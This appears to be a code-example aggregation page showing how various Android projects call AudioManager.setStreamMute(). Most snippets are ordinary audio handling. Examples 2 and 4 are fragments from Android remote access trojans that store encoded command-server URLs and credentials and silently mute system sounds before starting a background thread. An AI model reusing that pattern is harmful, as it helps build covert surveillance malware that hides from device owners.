Java Code Examples for android.media.AudioManager#setStreamMute()
The following examples show how to use
android.media.AudioManager#setStreamMute() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: HdmiControlService.java From android_9.0.0_r45 with Apache License 2.0 | 6 votes |
void setAudioStatus(boolean mute, int volume) { if (!isTvDeviceEnabled() || !tv().isSystemAudioActivated()) { return; } AudioManager audioManager = getAudioManager(); boolean muted = audioManager.isStreamMute(AudioManager.STREAM_MUSIC); if (mute) { if (!muted) { audioManager.setStreamMute(AudioManager.STREAM_MUSIC, true); } } else { if (muted) { audioManager.setStreamMute(AudioManager.STREAM_MUSIC, false); } // FLAG_HDMI_SYSTEM_AUDIO_VOLUME prevents audio manager from announcing // volume change notification back to hdmi control service. int flag = AudioManager.FLAG_HDMI_SYSTEM_AUDIO_VOLUME; if (0 <= volume && volume <= 100) { Slog.i(TAG, "volume: " + volume); flag |= AudioManager.FLAG_SHOW_UI; audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, volume, flag); } } }
Example 2
Source File: MyService.java From Dendroid-HTTP-RAT with GNU General Public License v3.0 | 6 votes |
public void initiate() { try { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",false); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Files",false).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("URL", encodedURL).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("backupURL", backupURL).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("password", encodedPassword).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("androidId", androidId).commit(); URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT )); password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT )); AudioManager mgr = (AudioManager)getSystemService(Context.AUDIO_SERVICE); mgr.setStreamMute(AudioManager.STREAM_SYSTEM, true); } catch (Exception e) {e.printStackTrace();} thread.start(); }
Example 3
Source File: AndroidSystemHandler.java From AlexaAndroid with GNU General Public License v2.0 | 6 votes |
private void setMute(final boolean isMute){ AudioManager am = (AudioManager) context.getSystemService(AUDIO_SERVICE); am.setStreamMute(AudioManager.STREAM_MUSIC, isMute); AlexaManager.getInstance(context).sendMutedEvent(isMute, null); Log.i(TAG, "Mute set to : "+isMute); new Handler(Looper.getMainLooper()).post(new Runnable() { @Override public void run() { Toast.makeText(context, "Volume " + (isMute ? "muted" : "unmuted"), Toast.LENGTH_SHORT).show(); } }); }
Example 4
Source File: MyService.java From BetterAndroRAT with GNU General Public License v3.0 | 6 votes |
public void initiate() { try { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",false); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Files",false).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("URL", encodedURL).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("backupURL", backupURL).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("password", encodedPassword).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("androidId", androidId).commit(); URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT )); password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT )); AudioManager mgr = (AudioManager)getSystemService(Context.AUDIO_SERVICE); mgr.setStreamMute(AudioManager.STREAM_SYSTEM, true); } catch (Exception e) {e.printStackTrace();} thread.start(); }
Example 5
Source File: ActivityCallViewModel.java From iGap-Android with GNU Affero General Public License v3.0 | 6 votes |
private void muteMusic() { if (!isMuteAllMusic) { AudioManager am = (AudioManager) G.context.getSystemService(Context.AUDIO_SERVICE); if (am == null) { return; } int result = am.requestAudioFocus(new AudioManager.OnAudioFocusChangeListener() { @Override public void onAudioFocusChange(int focusChange) { } }, AudioManager.STREAM_MUSIC, AudioManager.AUDIOFOCUS_GAIN); if (result != AudioManager.AUDIOFOCUS_REQUEST_GRANTED) { musicVolum = am.getStreamVolume(AudioManager.STREAM_MUSIC); am.setStreamMute(AudioManager.STREAM_MUSIC, true); am.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0); isMuteAllMusic = true; } } }
Example 6
Source File: GiraffePlayer.java From GiraffePlayer2 with Apache License 2.0 | 5 votes |
/** * set mute * * @param mute * @return GiraffePlayer */ public GiraffePlayer setMute(boolean mute) { this.mute = mute; AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); audioManager.setStreamMute(AudioManager.STREAM_MUSIC, mute); return this; }
Example 7
Source File: MobileCommProcessor.java From AssistantBySDK with Apache License 2.0 | 5 votes |
@Override public void smsMsgHandle() { Contact c = mAppConfig.lastSms.getContact(); if (mAppConfig.notInDND(c) && mAppConfig.inmsg_tips) { AudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE); mAudioManager.setStreamMute(AudioManager.STREAM_NOTIFICATION, true); tPools.execute(new NumberMsg(mAppConfig.lastSms.getName(), false)); } else { inMsgTipsFlow = 0; } }
Example 8
Source File: AudioUtil.java From CameraView with Apache License 2.0 | 5 votes |
public static void setAudioManage(Context context) { AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); audioManager.setStreamMute(AudioManager.STREAM_SYSTEM, true); audioManager.setStreamMute(AudioManager.STREAM_MUSIC, true); audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0); }
Example 9
Source File: AudioUtil.java From CameraView with Apache License 2.0 | 5 votes |
public static void setAudioManage(Context context){ AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); audioManager.setStreamMute(AudioManager.STREAM_SYSTEM, true); audioManager.setStreamMute(AudioManager.STREAM_MUSIC, true); audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0); }
Example 10
Source File: AudioManagerUtils.java From DevUtils with Apache License 2.0 | 5 votes |
/** * 设置指定声音流静音状态 * @param streamType 流类型 * @param state {@code true} 静音, {@code false} 非静音 * @return {@code true} success, {@code false} fail */ public static boolean setStreamMute(final int streamType, final boolean state) { AudioManager audioManager = AppUtils.getAudioManager(); if (audioManager != null) { try { audioManager.setStreamMute(streamType, state); return true; } catch (Exception e) { LogPrintUtils.eTag(TAG, e, "setStreamMute"); } } return false; }
Example 11
Source File: ActivityCallViewModel.java From iGap-Android with GNU Affero General Public License v3.0 | 5 votes |
private void unMuteMusic() { if (isMuteAllMusic) { AudioManager am = (AudioManager) G.context.getSystemService(Context.AUDIO_SERVICE); if (am != null) { am.setStreamVolume(AudioManager.STREAM_MUSIC, musicVolum, 0); am.setStreamMute(AudioManager.STREAM_MUSIC, false); isMuteAllMusic = false; } } }
Example 12
Source File: AudioUtil.java From imsdk-android with MIT License | 5 votes |
public static void setAudioManage(Context context) { AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); audioManager.setStreamMute(AudioManager.STREAM_SYSTEM, true); audioManager.setStreamMute(AudioManager.STREAM_MUSIC, true); audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0); }
Example 13
Source File: CameraVideoFragment.java From patrol-android with GNU General Public License v3.0 | 5 votes |
@Override protected void onStopRecord() { if (mMediaRecorder != null) { mMediaRecorder.stop(); } releaseMediaRecorder(); // release the MediaRecorder object mIsRecordingVideo = false; releaseCamera(); super.onStopRecord(); mgr = (AudioManager) getActivity().getSystemService(Context.AUDIO_SERVICE); mgr.setStreamMute(AudioManager.STREAM_SYSTEM, false); }
Example 14
Source File: BaseActivity.java From AlexaAndroid with GNU General Public License v2.0 | 5 votes |
private void setMute(final boolean isMute){ AudioManager am = (AudioManager) getSystemService(AUDIO_SERVICE); am.setStreamMute(AudioManager.STREAM_MUSIC, isMute); alexaManager.sendMutedEvent(isMute, requestCallback); Log.i(TAG, "Mute set to : "+isMute); new Handler(Looper.getMainLooper()).post(new Runnable() { @Override public void run() { Toast.makeText(BaseActivity.this, "Volume " + (isMute ? "muted" : "unmuted"), Toast.LENGTH_SHORT).show(); } }); }
Example 15
Source File: AudioUtil.java From imsdk-android with MIT License | 5 votes |
public static void setAudioManage(Context context) { AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); audioManager.setStreamMute(AudioManager.STREAM_SYSTEM, true); audioManager.setStreamMute(AudioManager.STREAM_MUSIC, true); audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0); }
Example 16
Source File: AudioUtil.java From EasyPhotos with Apache License 2.0 | 5 votes |
public static void setAudioManage(Context context) { AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); audioManager.setStreamMute(AudioManager.STREAM_SYSTEM, true); audioManager.setStreamMute(AudioManager.STREAM_MUSIC, true); audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, 0, 0); audioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0); }
Example 17
Source File: MeasurementService.java From NoiseCapture with GNU General Public License v3.0 | 5 votes |
@Override public void onCreate() { mNM = (NotificationManager)getSystemService(NOTIFICATION_SERVICE); this.measurementManager = new MeasurementManager(getApplicationContext()); // Display a notification about us starting. We put an icon in the status bar. showNotification(); // Mute NoiseCapture while measuring (do not capture android sounds) try { AudioManager mgr = (AudioManager)getSystemService(Context.AUDIO_SERVICE); mgr.setStreamMute(AudioManager.STREAM_SYSTEM, true); } catch (SecurityException ex) { // Ignore } }
Example 18
Source File: MeasurementService.java From NoiseCapture with GNU General Public License v3.0 | 5 votes |
@Override public void onDestroy() { // Hide notification mNM.cancel(NOTIFICATION); // Stop record if(isRecording()) { cancel(); } try { AudioManager mgr = (AudioManager) getSystemService(Context.AUDIO_SERVICE); mgr.setStreamMute(AudioManager.STREAM_SYSTEM, false); } catch (SecurityException ex) { // Ignore } }
Example 19
Source File: MobileCommProcessor.java From AssistantBySDK with Apache License 2.0 | 4 votes |
@Override public void receiveSms(SmsInfo sms, StringBuilder number) { isSmsReceiverValid = true; Contact c = AppConfig.mContactUtils.getContactByNum(number); if (c == null) { c = new Contact(); c.setName(number.toString()); List<ContactNum> codes = new ArrayList<>(); ContactNum contactNum = new ContactNum(); contactNum.setNumber(c.getName()); codes.add(contactNum); c.setCodes(codes); sms.setName(AssistantService.UNKOWN_NAME); } else { sms.setName(c.getName()); } sms.setNumber(number.toString()); sms.setType(1); sms.setContact(c); if (voiceMediator.mobileRing() || voiceMediator.isCalling() || inMsgTipsFlow > 0) {//通话中,响铃中,来信提示中,均不允许新来的短信打断 mAppConfig.missedMsgs.offer(sms); } else { inMsgTipsFlow = 1; mAppConfig.lastSms.setTime(sms.getTime()); mAppConfig.lastSms.setContent(sms.getContent()); mAppConfig.lastSms.setNumber(sms.getNumber()); mAppConfig.lastSms.setName(sms.getName()); mAppConfig.lastSms.setType(sms.getType()); mAppConfig.lastSms.setContact(sms.getContact()); if (mAppConfig.notInDND(c) /*&& mAppConfig.CardMode*/ && mAppConfig.inmsg_tips) { AudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE); mAudioManager.setStreamMute(AudioManager.STREAM_NOTIFICATION, true); tPools.execute(new NumberMsg(mAppConfig.lastSms.getName(), false)); } else { inMsgTipsFlow = 0; } } Single.just(0) .delay(1, TimeUnit.SECONDS) .doOnSuccess(new Consumer<Integer>() { @Override public void accept(Integer integer) throws Exception { CallAndSmsDao.getInstance(mContext).sync(CallAndSmsDao.getInstance(mContext).getSyncDao(CallAndSmsDao.MessageDao.class)); } }) .subscribeOn(Schedulers.io()) .subscribe(); }
Example 20
Source File: SmsBroadcastReceiver.java From lost-phone-tracker-app with MIT License | 4 votes |
@Override public void onReceive(Context context, Intent intent) { if (intent == null || !Telephony.Sms.Intents.SMS_RECEIVED_ACTION.equals(intent.getAction())) { return; } Bundle extras = intent.getExtras(); if (extras != null) { PreferenceManager prefs = new PreferenceManager(context); Object[] pdus = (Object[]) extras.get("pdus"); boolean abort = false; for (Object pdu : pdus) { SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu); String sender = message.getOriginatingAddress(); String body = message.getMessageBody(); if (prefs.isStartPasswordCorrect(body)) { // we also enable GPS here as it takes some time to get a location fix GpsToggler.enableGps(context); // hide activity to prevent changing passwords MainActivity.disableActivity(context); LogAlarmReceiver.startAlarm(context, sender); prefs.setReportReceiver(sender); abort = true; break; } else if (prefs.isStopPasswordCorrect(body)) { GpsToggler.disableGps(context); MainActivity.enableActivity(context); LogAlarmReceiver.stopAlarm(context); abort = true; break; } } if (abort) { // this is not working under KITKAT anymore abortBroadcast(); // as a hack, disable sound and vibration to hide the incoming SMS notification from any possible thief if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { AudioManager audioManager = (AudioManager) context.getSystemService( Context.AUDIO_SERVICE); audioManager.setStreamMute(AudioManager.STREAM_NOTIFICATION, true); audioManager.setVibrateSetting(AudioManager.VIBRATE_TYPE_RINGER, AudioManager.VIBRATE_SETTING_OFF); audioManager.setVibrateSetting(AudioManager.VIBRATE_TYPE_NOTIFICATION, AudioManager.VIBRATE_SETTING_OFF); } } } }